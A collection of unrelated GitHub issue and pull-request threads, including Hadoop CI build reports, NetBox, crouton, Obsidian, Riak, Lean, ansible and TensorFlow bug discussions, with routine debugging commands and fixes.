hadoop-yarn-project_hadoop-yarn-jdkPrivateBuild-1.8.0_342-8u342-b07-0ubuntu1~20.04-b07 with JDK Private Build-1.8.0_342-8u342-b07-0ubuntu1~20.04-b07 generated 3 new + 637 unchanged - 0 fixed = 640 total (was 637)

+1 :green_heart:
blanks
0m  0s

The patch has no blanks issues.

-0 :warning:
checkstyle
1m 51s
/results-checkstyle-hadoop-yarn-project_hadoop-yarn.txt
hadoop-yarn-project/hadoop-yarn: The patch generated 1 new + 8 unchanged - 0 fixed = 9 total (was 8)

+1 :green_heart:
mvnsite
2m 27s

the patch passed

+1 :green_heart:
javadoc
2m 16s

the patch passed with JDK Ubuntu-11.0.16+8-post-Ubuntu-0ubuntu120.04

+1 :green_heart:
javadoc
2m  9s

the patch passed with JDK Private Build-1.8.0_342-8u342-b07-0ubuntu1~20.04-b07

+1 :green_heart:
spotbugs
4m 55s

the patch passed

+1 :green_heart:
shadedclient
22m 48s

patch has no errors when building and testing our client artifacts.

_ Other Tests _

+1 :green_heart:
unit
5m 56s

hadoop-yarn-common in the patch passed.

+1 :green_heart:
unit
100m  1s

hadoop-yarn-server-resourcemanager in the patch passed.

+1 :green_heart:
asflicense
1m 16s

The patch does not generate ASF License warnings.

266m  6s

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5174/1/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/5174

Optional Tests
dupname asflicense compile javac javadoc mvninstall mvnsite unit shadedclient spotbugs checkstyle codespell detsecrets

uname
Linux 07839c9dd125 4.15.0-191-generic #202-Ubuntu SMP Thu Aug 4 01:49:29 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/bin/hadoop.sh

git revision
trunk / 4bf5b4cec8f751c9b90f6f246e9f22327c66a568

Default Java
Private Build-1.8.0_342-8u342-b07-0ubuntu1~20.04-b07

Multi-JDK versions
/usr/lib/jvm/java-11-openjdk-amd64:Ubuntu-11.0.16+8-post-Ubuntu-0ubuntu120.04 /usr/lib/jvm/java-8-openjdk-amd64:Private Build-1.8.0_342-8u342-b07-0ubuntu1~20.04-b07

Test Results
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5174/1/testReport/

Max. process+thread count
992 (vs. ulimit of 5500)

modules
C: hadoop-yarn-project/hadoop-yarn/hadoop-yarn-common hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-resourcemanager U: hadoop-yarn-project/hadoop-yarn

Console output
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5174/1/console

versions
git=2.25.1 maven=3.6.3 spotbugs=4.2.2

Powered by
Apache Yetus 0.14.0 https://yetus.apache.org

This message was automatically generated.

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Logfile
Comment

+0 :ok:
reexec
0m 48s

Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s

No case conflicting files found.

+0 :ok:
codespell
0m  1s

codespell was not available.

+0 :ok:
detsecrets
0m  1s

detect-secrets was not available.

+1 :green_heart:
@author
0m  0s

The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s

The patch appears to include 1 new or modified test files.

_ trunk Compile Tests _

+0 :ok:
mvndep
15m 17s

Maven dependency ordering for branch

+1 :green_heart:
mvninstall
25m 41s

trunk passed

+1 :green_heart:
compile
9m 52s

trunk passed with JDK Ubuntu-11.0.16+8-post-Ubuntu-0ubuntu120.04

+1 :green_heart:
compile
9m 26s

trunk passed with JDK Private Build-1.8.0_342-8u342-b07-0ubuntu1~20.04-b07

+1 :green_heart:
checkstyle
2m  5s

trunk passed

+1 :green_heart:
mvnsite
2m 49s

trunk passed

+1 :green_heart:
javadoc
2m 31s

trunk passed with JDK Ubuntu-11.0.16+8-post-Ubuntu-0ubuntu120.04

+1 :green_heart:
javadoc
2m 35s

trunk passed with JDK Private Build-1.8.0_342-8u342-b07-0ubuntu1~20.04-b07

+1 :green_heart:
spotbugs
4m 58s

trunk passed

+1 :green_heart:
shadedclient
23m 55s

branch has no errors when building and testing our client artifacts.

_ Patch Compile Tests _

+0 :ok:
mvndep
0m 30s

Maven dependency ordering for patch

+1 :green_heart:
mvninstall
1m 41s

the patch passed

+1 :green_heart:
compile
9m 10s

the patch passed with JDK Ubuntu-11.0.16+8-post-Ubuntu-0ubuntu120.04

+1 :green_heart:
javac
9m 10s

the patch passed

+1 :green_heart:
compile
8m 47s

the patch passed with JDK Private Build-1.8.0_342-8u342-b07-0ubuntu1~20.04-b07

+1 :green_heart:
javac
8m 47s

the patch passed

+1 :green_heart:
blanks
0m  0s

The patch has no blanks issues.

+1 :green_heart:
checkstyle
1m 56s

the patch passed

+1 :green_heart:
mvnsite
2m 28s

the patch passed

+1 :green_heart:
javadoc
2m 21s

the patch passed with JDK Ubuntu-11.0.16+8-post-Ubuntu-0ubuntu120.04

+1 :green_heart:
javadoc
2m 31s

the patch passed with JDK Private Build-1.8.0_342-8u342-b07-0ubuntu1~20.04-b07

+1 :green_heart:
spotbugs
4m 47s

the patch passed

+1 :green_heart:
shadedclient
22m 47s

patch has no errors when building and testing our client artifacts.

_ Other Tests _

+1 :green_heart:
unit
5m 55s

hadoop-yarn-common in the patch passed.

+1 :green_heart:
unit
114m 17s

hadoop-yarn-server-resourcemanager in the patch passed.

+1 :green_heart:
asflicense
1m 12s

The patch does not generate ASF License warnings.

280m  0s

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5174/2/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/5174

Optional Tests
dupname asflicense compile javac javadoc mvninstall mvnsite unit shadedclient spotbugs checkstyle codespell detsecrets

uname
Linux 3f43e9034552 4.15.0-191-generic #202-Ubuntu SMP Thu Aug 4 01:49:29 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/bin/hadoop.sh

git revision
trunk / 97d477d4dfdb8f5335493b959e131dae4558932f

Default Java
Private Build-1.8.0_342-8u342-b07-0ubuntu1~20.04-b07

Multi-JDK versions
/usr/lib/jvm/java-11-openjdk-amd64:Ubuntu-11.0.16+8-post-Ubuntu-0ubuntu120.04 /usr/lib/jvm/java-8-openjdk-amd64:Private Build-1.8.0_342-8u342-b07-0ubuntu1~20.04-b07

Test Results
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5174/2/testReport/

Max. process+thread count
968 (vs. ulimit of 5500)

modules
C: hadoop-yarn-project/hadoop-yarn/hadoop-yarn-common hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-resourcemanager U: hadoop-yarn-project/hadoop-yarn

Console output
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5174/2/console

versions
git=2.25.1 maven=3.6.3 spotbugs=4.2.2

Powered by
Apache Yetus 0.14.0 https://yetus.apache.org

This message was automatically generated.


improve error message when running into an unknown target dependency

motivation: help users reason about erros when encountering an unknown dependency
changes:

include the dependency location in the error string
refactor tests to cover more use cases

rdar://113411527

@swift-ci smoke test

BTW, since this is to provide additional info, I wonder whether we should also reach back into mirrors and show both locations for them? Or at least provide some way to see that info? I guess the later would probably be a separate change...

BTW, since this is to provide additional info, I wonder whether we should also reach back into mirrors and show both locations for them? Or at least provide some way to see that info? I guess the later would probably be a separate change...

the mirrors information is not currently tracked in a way that is easy to access, so seems like a bigger change


Custom Field Logic Migration Doesn't Support EnterpriseDB (Commercial PostgreSQL)

Environment

Python version:  3.6.7
NetBox version:  2.4.7

Steps to Reproduce
Using EnterpriseDB 10.5 (commercial PostgreSQL)...
./manage.py migrate

Expected Behavior
Migrations applied successfully

Observed Behavior
Exception is raised due to this line:
pg_version = re.match(r'^PostgreSQL (\d+\.\d+(\.\d+)?)', row[0]).group(1)
This is due to the output of SELECT VERSION(); starting with "EnterpriseDB" instead of "PostgreSQL". Rest of the output matches.
Proposed Fix:
pg_version = re.match(r'^(PostgreSQL|EnterpriseDB) (\d+\.\d+(\.\d+)?)', row[0]).group(2)

NetBox officially supports only the PostgreSQL database. While I realize that what you're requesting is a trivial change, please understand that I don't want to imply that we guarantee support for other databases, even if they are PostgreSQL-compatible. All database functions and migrations must be thoroughly tested, and we don't have the ability to test against commercial databases.
As a workaround, you can add a return line at the top of verify_postgresql_version() to effectively bypass the validation. The migration is only called once: Once it's applied, you can revert the modification to maintain parity with the official code base if you like. However, please keep in mind that we cannot assist with any issues you encounter relating to the use of an unsupported database.

@tyler-8 I'm fine with that. Will re-open.


[idea] filepath.Walk() for folders

Hi!
Would be great to add something like filepath.Walk() (docs) for folders from GitHub fs.
Or, improve fsutil for other files (not *.tmpl).

Hey,
The fsutil.Walk function accept any object that implements the http.FileSystem interface, and enables you walking over the files in that filesystem.
Does this help?

@posener oh, nice! Thx 👍
I try on this way, but don't know how to right way:
	// ...
	ctx := context.Background()
	fs, err := gitfs.New(ctx, "github.com/my-repo/configs")
	ErrChecker(err)

	walker := fsutil.Walk(fs, folderName)
	folder := appPath + string(os.PathSeparator)

	for walker.Step() {
		if err := walker.Err(); err != nil {
			fmt.Fprintln(os.Stderr, err)
			continue
		}

		folder = appPath + string(os.PathSeparator) + walker.Path()

		if !walker.Stat().IsDir() {
			fmt.Println(folder)
		}
	}
	// ...

p.s. some official example on README — would be great 😉

Yup, this is the right way.
You could use filepath.Join  function instead of appPath + string(os.PathSeparator) + walker.Path() (Which also works if one of the parts ends or starts with a separator).

p.s. some official example on README — would be great wink

Feel free to contribute an example! Notice that the README is auto generated, so you should add an example-test in order to get it into the readme as an example.

Oh, sorry, forget to ask: if necessary to defer f.Close() when f, err := fs.Open("file.txt")?

Oh, sorry, forget to ask: if necessary to defer f.Close() when f, err := fs.Open("file.txt")?

Yes, it is common practice in Go. If err != nil in most cases you should defer the Close() call.


Problem GNOME - trusty - Crouton

Hello, I cant run startgnome cause I have a problem. Could you help me?
Loading extension GLX
crouton: version 1-20160902144033~master:9f8e9a22
release: trusty
architecture: armhf
xmethod: xorg
targets: core,audio,touch,xorg,x11,gtk-extra,extension,gnome,keyboard
host: version 8743.4.0 (Official Build) dev-channel veyron_minnie
kernel: Linux localhost 3.14.0 #1 SMP PREEMPT Mon Aug 29 23:26:02 PDT 2016 armv7l armv7l armv7l GNU/Linux
freon: yes
No Chromium OS X server is available.
Running exit commands...
/usr/bin/xinit: connection to X server lost
waiting for X server to shut down Hangup
Hangup
Hangup
(EE) Server terminated successfully (0). Closing log file.

Try adding the 'xiwi' target to your chroot on your ASUS Chromebook Flip C100, like so:
sudo sh ~/Downloads/crouton/crouton -n trusty -t xiwi -u
Then try your desktop again: sudo startgnome

the first command is right? /crouton/crouton ??

chronos@localhost ~ $ sudo sh ~/Downloads/crouton/crouton -n trusty -t xiwi -u
sh: Can't open /home/chronos/user/Downloads/crouton/crouton

now is worse than before:
Loading extension GLX
/usr/bin/xinit: XFree86_VT property unexpectedly has 0 items instead of 1
crouton: version 1-20160902144033~master:9f8e9a22
release: trusty
architecture: armhf
xmethod: xiwi
targets: xiwi,core,audio,touch,xorg,x11,gtk-extra,extension,gnome,keyboard
host: version 8743.4.0 (Official Build) dev-channel veyron_minnie
kernel: Linux localhost 3.14.0 #1 SMP PREEMPT Mon Aug 29 23:26:02 PDT 2016 armv7l armv7l armv7l GNU/Linux
freon: yes
Error: not connected.
Cannot connect to extension, retrying...
Error: not connected.
Cannot connect to extension, retrying...
Error: not connected.
Cannot connect to extension, retrying...
Error: not connected.
Cannot connect to extension, retrying...
Error: not connected.
Cannot connect to extension, retrying...
Error: not connected.
Cannot connect to extension, retrying...
Error: not connected.
Cannot connect to extension, retrying...
Error: not connected.
Cannot connect to extension, retrying...
Error: not connected.
Cannot connect to extension, retrying...
Error: not connected.
Cannot connect to extension, retrying...
Unable to start display, make sure the crouton extension is installed
and enabled, and up to date. (download from http://goo.gl/OVQOEt)
Running exit commands...
/usr/bin/xinit: connection to X server lost
waiting for X server to shut down Hangup
Hangup
Hangup
(EE) Server terminated successfully (0). Closing log file.
Unmounting /media/removable/rayoloSD/chroots/trusty...
Sending SIGTERM to processes under /media/removable/rayoloSD/chroots/trusty

I downloaded the crouton extension here (download from http://goo.gl/OVQOEt) and still doesnt work

nobody can help me ???

@rayolo,
See this thread where a developer discusses gnome on the Flip.
He suggests using xfce4 or lxde instead.
Hope this heops,
-DennisL

Hi, @rayolo,
I have been playing with this for the last couple of days. Actually I am addicted to Evolution so I don't really care what Desktop environment I use (I happen to like Mate) but in getting Evolution to work in armhf on my CB5-311 I had to find a solution around not using softrast but instead getting LLVMpipe. Evolution was complaining about not getting a eGL surface when starting from cli. So knowing that stretch has llvmpipe built in (I used it in my native install on an Asus C201) tried it and it resolves this error. I have a working Gnome session, and the apps work too.
Hope this is useful and you're not too tied into trusty, I didn't try Xenial as I am not sure it has mate built in.
Hope this helps
Arielle :)


Creating weekly note for first week uses the year 2021

Using Calendar version 1.4.19
Describe the bug
Creating a weekly note for the first week of a year creates a note using the following year. #86 is the same issue, but closed. I created a new issue, so it wouldn't have to be reopened manually. Wasn't sure what y'all would prefer.
Steps to reproduce
Prerequisites:

Use weekly note format that includes year. Screenshot uses format gggg-MM-DD [Week] ww

Click on week 1 in 2020
Observe created note's name with the year 2021

Expected behavior
Use the correct year for the note's name
Screenshots

First week of January 2021 shows this:

Environment (please specify)
OS
Windows
Obsidian Version (e.g. v0.10.6)
Obsidian v0.10.11

Hi @rainydevbs! I think the issue here is that you're using gggg in your format for the year. gggg refers to the Locale Week Year. In other words, that's "Week 1 of 2021." Since it looks like you want to name the weekly notes based on Sunday of the week, you probably want to use the format: YYYY-MM-DD [Week] ww. That will give you 2020-12-27 Week 01.

Hi @rainydevbs! I think the issue here is that you're using gggg in your format for the year. gggg refers to the Locale Week Year. In other words, that's "Week 1 of 2021." Since it looks like you want to name the weekly notes based on Sunday of the week, you probably want to use the format: YYYY-MM-DD [Week] ww. That will give you 2020-12-27 Week 01.

Thanks for the quick catch! That was indeed the issue. Switching to YYYY over gggg is now giving me the following:

Thanks for the quick catch! That was indeed the issue. Switching to YYYY over gggg is now giving me the following:


Feat:Add Hover and Transition effect on Icons.

Describe the feature
I will add CSS for hover and Transition effects on Icons.
That will create better look.
Create more attractive to website.
User Friendly.
Add ScreenShots

Record

[X] I agree to follow this project's Code of Conduct
[X] I'm a GSSOC'24 contributor
[X] I want to work on this issue

@zalabhavy go ahead and create pr as soon as poosible

@mdazfar2 PR done please check it !!


Initial Riak Control GUI commits.

There are issues with the caching of the handoff information. The current design has vnodes add handoff information to the handoff_manager when a handoff starts, and removes the information when the handoff completes or there is a detected handoff error. Unfortunately, if a handoff_sender crashes or a vnode crashes, the cached handoff information is not removed. This is easy to reproduce. Start 2 nodes, write a bunch of data to one node (to make handoff take some time), then join the second node to the first to start handoffs. While handoff is occuring, kill all the vnodes on the first node:
Pids = [Pid || {_,Pid,_,_} <- supervisor:which_children({riak_core_vnode_sup, node()})].
[exit(Pid, kill) || Pid <- Pids].

Then, stop the second Riak node so that new handoff doesn't start. The output of riak_core_handoff_manager:all_handoffs() will remain non-empty for eternity.
Here's the good news. The handoff_sender is linked to the vnode. So, either one will cause the other to die as well. I think the cleanest option would be to pass the vnode pid as part of the information cached in the handoff_manager, and to have the handoff_manager filter out information associated with a pid that is no longer alive (is_pid(Pid) andalso is_process_alive(Pid)). You could probably use a monitor as well, but that's more code. Or, could rely upon catching the process exit in the vnode module, but that won't work for kills.

+1 merge.
The transfer code is a bit fragile at the moment around vnode deaths, but that's slated to be fixed when we add a supervision tree around the handoff processes.


SMS sender number is blank if the number starts with a space

1. SDK version（SDK 版本）
{
v2.129
}

2. In what kind of operation problems appear, and how to reproduce the problem ?（什么样的操作步骤问题会出现，是否是稳定复现，如何复现问题？）
{
To check the balance on a PAYG SIM, an SMS containing "BAL" is sent to 2732 and a reply is received showing the balance.
This is the header from the reply:
" 2732",,"2019/08/10,20:41:52+01",129,17,0,0,"+447958879880",145,21
When listing stored messages the number field will be blank for this SMS, probably because of the space at the beginning of the number (numbers starting with "+447..." work fine).
Putting the SIM in to a phone shows the correct number for the stored message, so the SMS is stored correctly, but listing messages is incorrect.
}

Hello, I have the same problem, I do not get the phone number. when I try to print it:
SMS_Message_Info_t * messageInfox = (SMS_Message_Info_t *) pEvent-> pParam1;
Trace (1, "Number:% s", messageInfox-> phoneNumber);
I get this:
Number: ",," 2020/11 / 15,12: 48: 27 + 05 ", 161,17,0,0," +<PHONE_NUMBER>59 ", 145,10


square braces can cause exponential time/memory consumption

The following input (found via fuzz testing) causes lean to take 140 seconds and consume 11.6 GB:
def foo : [[[[[[[[[[[[[

Adding more braces seems to make it exponentially worse.
My expectation is that, even if lean must perform exponential work in some situation, some kind of heartbeat will trigger before things get out of hand like this.
Lean (version 4.0.0-nightly-2022-10-18, commit faa612e7b79a, Release)

Plan: add cache to parser, no choice when there are errors


At least basic data analysis and preview

[x] filetypes and based on them listing of archives: zip, tgz, tbz, xz, 7zip, rar, ... See also Zenodo.
[ ] basic previews for what Dspace can already do or what is easy.

PDF, Doc(x), JPG, TIFF, some other formats with ready-made preview facility

head -40 of text (and XML) files?
Basically whatever will make sense given our typical submissions and will be easy enough to do.

[ ] Include verification of the format whenever possible (e.g. valid PDF, DOCX, or ODT).

see https://zenodo.org/record/30093?ln=en#.VemMOfnhDGg
(but it should be per file)

You can also look at Figshare: http://cogentoa.figshare.com/articles/Global_Soil_Respiration_Database_srdb_20120510a_/868954 It previews quite a few types of files. It even has some limited interactivity (I see "sort by" working for CSV).

archive file preview is added in this commit 56fed95114d875d41c69704205f8e1ea0f0a1960

@stranak  At the moment, more than 50% of our bitstreams are archives where we support preview already.
From the raw ones, I would preview only the textual ones.
I moved the last item into a separate issue #378

Next steps

#379
#378 incl. README etc.
store first N lines of text from text files and store them in the metadata and show them

The bitstream preview feature currently supports following formats:

zip
text/plain
text/html

Related to #208 I think: When we do text file and PDF preview, we should also index them for content search.

I will close this one because there are minimum of pdf/image files in our repository and we have done item view already


This role is unusable with 5.x

:(

Can you elaborate?

debian_repo_version: "{{ nodejs_version if '4' not in nodejs_version else '4.x' }}"
"5.x" is unsupported in this ansible role.

I got it working like this:
---
- name: Node Test Role
  hosts: all
  become: yes
  become_method: sudo
  roles:
  - { role: nodesource.node, nodejs_version: "6", debian_repo_version: "6.x" }

Would be great if #21 was merged, or a similar fix made. This was confusing to figure out but @nbering's method works for me. Maybe just update the README?

The 5.x line is no longer supported folks. So you should immediately be moving to 6.x, which does work as noted.

Does not work for me:
  - role: nodesource.node
    nodejs_version: "6"
    debian_repo_version: "6.x"

fatal: [s-tracking-persister-ch-1.cc.stylelounge.ninja]: FAILED! => {"changed": false, "failed": true, "invocation": {"module_name": "apt_repository"}, "module_stderr": "", "module_stdout": "\r\nTraceback (most recent call last):\r\n  File \"/tmp/ansible_9yJQKU/ansible_module_apt_repository.py\", line 522, in <module>\r\n    main()\r\n  File \"/tmp/ansible_9yJQKU/ansible_module_apt_repository.py\", line 512, in main\r\n    cache.update()\r\n  File \"/usr/lib/python2.7/dist-packages/apt/cache.py\", line 440, in update\r\n    raise FetchFailedException(e)\r\napt.cache.FetchFailedException: W:Failed to fetch https://deb.nodesource.com/node_6/dists/trusty/main/source/Sources  HttpError404\r\n, W:Failed to fetch https://deb.nodesource.com/node_6/dists/trusty/main/binary-amd64/Packages  HttpError404\r\n, E:Some index files failed to download. They have been ignored, or old ones used instead.\r\n", "msg": "MODULE FAILURE", "parsed": false}
fatal: [s-tracking-persister-fr-1.cc.stylelounge.ninja]: FAILED! => {"changed": false, "failed": true, "invocation": {"module_name": "apt_repository"}, "module_stderr": "", "module_stdout": "Traceback (most recent call last):\r\n  File \"/tmp/ansible_e7iAeC/ansible_module_apt_repository.py\", line 522, in <module>\r\n    main()\r\n  File \"/tmp/ansible_e7iAeC/ansible_module_apt_repository.py\", line 512, in main\r\n    cache.update()\r\n  File \"/usr/lib/python2.7/dist-packages/apt/cache.py\", line 440, in update\r\n    raise FetchFailedException(e)\r\napt.cache.FetchFailedException: W:Failed to fetch https://deb.nodesource.com/node_6/dists/trusty/main/source/Sources  HttpError404\r\n, W:Failed to fetch https://deb.nodesource.com/node_6/dists/trusty/main/binary-amd64/Packages  HttpError404\r\n, E:Some index files failed to download. They have been ignored, or old ones used instead.\r\n", "msg": "MODULE FAILURE", "parsed": false}


Add native support for DELTARUNE Chapters 1&2

New Engine Package Submissions

[x] Have you followed the instructions in the build documentation?
[x] Have you run the build locally and ensured the package allowed you to launch and play the Steam game?
[x] Have you updated the packages.json file?
[x] Have you ensured that there is not already a pull request or active engine package for the one you are adding?

Title explains it. These commits add a native Linux version of DELTARUNE that I put together a while ago.
Tested with SteamOS on Steam Deck.

Feel free to comment/discuss if  you'd like to continue the PR.


Flatland src

Implements the solution of Flatland in the src, as discussed in #64.
Fixes an error in flatland as well.

Oh, I better merge this in #55 directly. OK, @Beramos ?

Looks good, it is better to merge this in #55 otherwise It will really suck too resolve all the merge conflicts. You can just cherry-pick the range of commits from that branch.
One important note is to make sure DSjulia is not in the notebook deps when you merge into the master. It messes up the launch script for windows users...


Fix case sensitivity in Leaderboard Search

Description
Now if we type a letter in Uppercase instead of lowercase the search doesn't show any results. So, Fix this as Case sensitivity will not remain an issue.
Screenshots

Additional information
No response

@its-ayush-07 assigned you


Black screen no respond on pi 3 b+

Screen stays black.
Green led blinks for sometime the stops with just red led

Using raspberry pi official 7 inches display.


Consider re-licensing under an open source license?

Hello!
I've been working with this disassembly for a little while now, however I noticed that you don't have any license attached to it. From my understanding not having a license associated with your code automatically means you reserve all copyright. This means that nobody will be able to fork, modify, and distribute without explicit permission from you. Was this intentional? If not, would you consider licensing under an open source license instead?
Cheers.

Hi!
I've added a license now. It wasn't intentional, just not a thing I knew much about. I've added it now

Hi!
I've added a license now. It wasn't intentional, just not a thing I knew much about. I've added it now

Much appreciated! 👍


The variable is in the checkpoints, But the model cannot be loaded correctly.

Description
Hi, I want to reproduce the CNN translation model. But I encounter the model load problem. When I use the tensorflow 1.8, the model seems to be loaded correctly. But when I use the tensorflow 1.12, the model can not be loaded. And the message is
 NotFoundError (see above for traceback): Restoring from checkpoint failed. This is most likely due to a Variable name or other graph key that is missing from the checkpoint. Please ensure that you have not altered the graph expected based on the checkpoint. Original error:
837.train | [2019-03-13T08:58:51Z]
837.train | [2019-03-13T08:58:51Z] Key while/cnn_translate/parallel_0_5/cnn_translate/cnn_translate/body/cnn_decoder/cnn_0/conv1d/conv1d_7/kernel not found in checkpoint
837.train | [2019-03-13T08:58:51Z]       [[node save/RestoreV2_1 (defined at /code/tensor2tensor/tensor2tensor/utils/decoding.py:368)  = RestoreV2[dtypes=[DT_FLOAT, DT_FLOAT, DT_FLOAT, DT_FLOAT, DT_FLOAT, ..., DT_FLOAT, DT_FLOAT, DT_FLOAT, DT_FLOAT, DT_FLOAT], _device="/job:localhost/replica:0/task:0/device:CPU:0"](_arg_save/Const_0_0, save/RestoreV2_1/tensor_names, save/RestoreV2_1/shape_and_slices)]]

But I print the checkpoint variables, I found the variable was in the model.
('tensor_name: ', 'cnn_translate/parallel_0_5/cnn_translate/cnn_translate/body/cnn_decoder/cnn_2/dense_8/kernel/Adam_1')
('tensor_name: ', 'cnn_translate/parallel_0_5/cnn_translate/cnn_translate/body/cnn_decoder/cnn_5/dense_14/kernel/Adam_1')
('tensor_name: ', 'cnn_translate/parallel_0_5/cnn_translate/cnn_translate/body/cnn_decoder/cnn_0/conv1d/conv1d_7/kernel/Adam')
('tensor_name: ', 'cnn_translate/parallel_0_5/cnn_translate/cnn_translate/body/cnn_decoder/cnn_6/dense_16/kernel/Adam_1')
('tensor_name: ', 'cnn_translate/parallel_0_5/cnn_translate/cnn_translate/body/cnn_decoder/cnn_3/dense_10/bias/Adam')
('tensor_name: ', 'cnn_translate/parallel_0_5/cnn_translate/cnn_translate/body/encoder/dense/kernel/Adam')
('tensor_name: ', 'losses_avg/problem_0/extra_loss')
('tensor_name: ', 'cnn_translate/parallel_0_5/cnn_translate/cnn_translate/body/cnn_decoder/cnn_5/conv1d/conv1d_12/kernel')
('tensor_name: ', 'cnn_translate/parallel_0_5/cnn_translate/cnn_translate/body/cnn_decoder/cnn_3/conv1d/conv1d_10/kernel/Adam')
('tensor_name: ', 'cnn_translate/parallel_0_5/cnn_translate/cnn_translate/body/encoder/cnn_1/conv1d/conv1d_1/kernel/Adam_1')
('tensor_name: ', 'cnn_translate/parallel_0_5/cnn_translate/cnn_translate/body/cnn_decoder/cnn_3/dense_9/kernel/Adam')
('tensor_name: ', 'cnn_translate/parallel_0_5/cnn_translate/cnn_translate/body/cnn_decoder/cnn_5/dense_14/bias')
('tensor_name: ', 'cnn_translate/parallel_0_5/cnn_translate/cnn_translate/body/cnn_decoder/cnn_1/conv1d/conv1d_8/kernel/Adam')
('tensor_name: ', 'cnn_translate/parallel_0_5/cnn_translate/cnn_translate/body/cnn_decoder/cnn_6/dense_16/bias/Adam_1')
('tensor_name: ', 'cnn_translate/parallel_0_5/cnn_translate/cnn_translate/body/cnn_decoder/cnn_1/dense_5/kernel')
('tensor_name: ', 'cnn_translate/parallel_0_5/cnn_translate/cnn_translate/body/cnn_decoder/cnn_0/conv1d/conv1d_7/kernel')
('tensor_name: ', 'cnn_translate/parallel_0_5/cnn_translate/cnn_translate/body/cnn_decoder/dense_17/bias/Adam_1')

So I was very confused with this problem. Can someone can help me ?

I found the problem: the tensor name was added 'while' when decoding using tensor2tensor.

I'm experiencing the exact same error where "while" is prepended to a correct key name, which then causes NotFoundError..... Key while/.... not found in checkpoint when restoring from a checkpoint with t2t-decoder.py. @chuanHN Did you find a solution to your problem? I can't find where/how "while" is incorrectly being added to the key name.

Another occurrence of this bug seems to have been reported on Stack Overflow:
https://stackoverflow.com/questions/56776076/cannot-restore-from-checkpoint-bidirectional-backward-lstm-bias/57398902#57398902
Do any devs have any ideas/suggestions as to what might be causing "while" to be prepended to key names during checkpoint restoration?


Remove unnecessary search from interactive selection and replace selection emoji(🐸) on windows

[ ] All tests passed. If this feature is not already covered by the tests, I added new tests.
[ ] All static analysis checks passed.
[ ] This pull request is on the dev branch.
[ ] I used gofmt for formatting the code before submitting the pull request.

Replace selection emoji - 🐸 on windows and other non-supported terminals to >

Remove search field from selection when it's unnecessary, for example here:

depends on https://github.com/jfrog/jfrog-cli-core/pull/503

LGTM, adding @talarian1  as an additional reviewer


[BUG] VirtualMachineScaleSetResource.UpdateInstancesAsync should allow update of a VM with new VirtualMachineScaleSetVmResource data

Library name and version
<IP_ADDRESS>-beta.8
Describe the bug
Calling VirtualMachineScaleSetResource.UpdateInstanceAsync currently causes upgrade to the latest OS and does permit update of VM settings (for example changing ProtectionFromScaleIn).
This seems to be a duplicate behavior as VirtualMachineScaleSetResource.Reimage
Expected behavior
Calling VirtualMachineScaleSetResource.UpdateInstanceAsync accepts a parameter with updated VirtualMachineScaleSetVmResource  values and sets those on specified VMs
Actual behavior
There is none
Reproduction Steps
Try to set new VirtualMachineScaleSetVmProtectionPolicy, and there is no way to do it.
var newProtectionPolicy = new VirtualMachineScaleSetVmProtectionPolicy() { ProtectFromScaleIn = true };
Environment
No response

Thank you for your feedback.  Tagging and routing to the team member best able to assist.

@stishkin can you use the following code to achieve the same purpose?
virtualMachineScaleSetResource.GetVirtualMachineScaleSetVms().CreateOrUpdateAsync(); where you can pass in a VirtualMachineScaleSetVmData containing the updated VirtualMachineScaleSetVmProtectionPolicy.
Refer to the API below:
https://github.com/Azure/azure-sdk-for-net/blob/1e11c266329079133cdb62c7fe9738068002c529/sdk/compute/Azure.ResourceManager.Compute/src/Generated/VirtualMachineScaleSetVmCollection.cs#L68

@fengzhou-msft  - thank you, that worked !


provide build only environment hooks

I'm putting this into a ticket so we can remember it, but I don't think we need it right now.

Basically we make a distinction in ament between run environment variables and build environment variables but only provide a mechanism to extend the run environment variables.
Run environment variables are set after building a package and are necessary to "use" it, i.e. run things built by it. Examples include the PATH, the [DY]LD_LIBRARY_PATH, and the PYTHONPATH.
Build environment variables are set after building a package and are needed to build something else on top of that package. Examples include the CMAKE_PREFIX_PATH and the PKG_CONFIG_PATH.
Since building on a package may require running something from that package, the build environment variables would also include the run environment variables.
We allow packages to extend the run environment through the use of environment hooks which get sourced when those packages are going to be used, either by the build tool before building on top of those packages, or by the user when they source a local_setup.*sh or a setup.*sh. However, for build specific modifications to the environment there is no pattern for doing this on a per package basis. An example of this variable is the CMAKE_PREFIX_PATH which is not set by our setup files but is rather injected by the build tool during the build process, e.g.: https://github.com/ament/ament_tools/blob/release-alpha3/ament_tools/build_types/cmake.py#L376-L377
In my opinion there are three downsides to setting these build only environment variables in the tool rather than through a build specific environment hook of the package:

There is no way for a package to extend the variables set beyond its build type.

For example, if a package needs to be on the CMAKE_PREFIX_PATH and it needs to be on the PKG_CONFIG_PATH in order to built on, then it would have a problem because it would only be on the CMAKE_PREFIX_PATH by default. In order to extend the PKG_CONFIG_PATH it would need to use a run environment hook. This isn't really an issue, but it's not conceptually consistent because we have a distinction between build and run time environment changes, but you can only extend one of them.

There is no way to build on top of a workspace with out the build tool or a manual step for the user.

